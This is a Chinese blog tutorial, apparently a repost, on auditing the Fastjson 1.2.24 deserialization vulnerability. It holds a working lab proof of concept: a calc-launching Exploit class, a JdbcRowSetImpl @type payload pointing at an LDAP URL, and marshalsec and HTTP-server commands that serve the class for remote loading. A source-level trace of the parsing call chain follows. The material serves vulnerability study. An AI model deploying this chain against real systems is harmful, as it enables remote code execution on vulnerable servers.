我是靠谱客的博主 可耐帽子,最近开发中收集的这篇文章主要介绍Java代码审计——Fastjson1.2.24反序列化漏洞0x00 前言0x01 环境0x03 分析0x05 要点笔记,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

0x00 前言

反序列化总纲

Fastjson是一个老生常谈的东西,但是之前整理的东西都比较简单和凌乱所以只能开篇重新进行整理,方便复习和学习。

0x01 环境

idea使用maven创建一个新的工程

1.修改pom

这里添加1.2.24版本的fastjson库

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>fastjson124</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
    </dependencies>
</project>

2.新建一个Exploit

public class  Exploit{
    static {
        try {
            String [] cmd={"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

然后使用 javac Exploit.java生成Exploit.class

3.新建测试demo

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class vultest {
    public static void main(String[] args) {
        payload();
    }
    public  static String payload(){
        String payload="{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}" ;
        JSONObject.parseObject(payload);
//        JSON.parse(payload);
        return payload;
    }
}

4.开启一个http服务

我这里使用的是python
py2 -m SimpleHTTPServer
在这里插入图片描述

5.开启远程ldap

这里使用的是marshalsec-0.0.3-SNAPSHOT-all.jar

命令如下:

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 9999

在这里插入图片描述

6.运行

在这里插入图片描述

0x03 分析

首先我们从parseObject开始进行分析。

进入之后就会来到这里:
在这里插入图片描述

进入parse方法:

在这里插入图片描述
进入适配方法
在这里插入图片描述
先判空
在这里插入图片描述
然后进入DefaultJSONParser方法:主要是用来判断是以是什么方式开始,默认是以’{'开始,并且设置token为12
在这里插入图片描述

执行完DefaultJSONParser之后,进入parser.parse()

在这里插入图片描述

这里根据token为12,然后case跳转至:
在这里插入图片描述

进入parseObject方法

在这里插入图片描述
这里会通过默认的"{"来获取到第一个参数也就是@type
在这里插入图片描述
到这里的时候就回去判断key是不是@type,如果是@type就回去进行检测并且去反序列化类
在这里插入图片描述

然后就会到TypeUtils.loadClass
在这里插入图片描述
在这里插入图片描述
注意在这里会判断开始是不是以’['开头
在这里插入图片描述
接着会检查是不是以L开头
在这里插入图片描述
接着就会删除"L" ,然后继续走loadCLass
在这里插入图片描述
最后到getDeserializer
在这里插入图片描述

然后到deserializer.deserialze反序列化
在这里插入图片描述
接着进入之后,主要反序列化的位置在
fastjson1.2.24fastjson-1.2.24.jar!comalibabafastjsonparserdeserializerJavaBeanDeserializer.class

跟进parseField:
在这里插入图片描述
然后这里非常重要的就是有一个smartMatch,这个smartMatch会进行一个通用匹配,可以匹配_开始以及-开始的变量:这个对另外一个调用链有用。
在这里插入图片描述
接着会去调用setValue,从而触发set方法
在这里插入图片描述

0x05 要点笔记

  • parse触发
  • parseObject
  • TypeUtils.loadClass
  • deserialze
  • parseField
  • smartMeth

最后

以上就是可耐帽子为你收集整理的Java代码审计——Fastjson1.2.24反序列化漏洞0x00 前言0x01 环境0x03 分析0x05 要点笔记的全部内容,希望文章能够帮你解决Java代码审计——Fastjson1.2.24反序列化漏洞0x00 前言0x01 环境0x03 分析0x05 要点笔记所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(53)

评论列表共有 0 条评论

立即
投稿
返回
顶部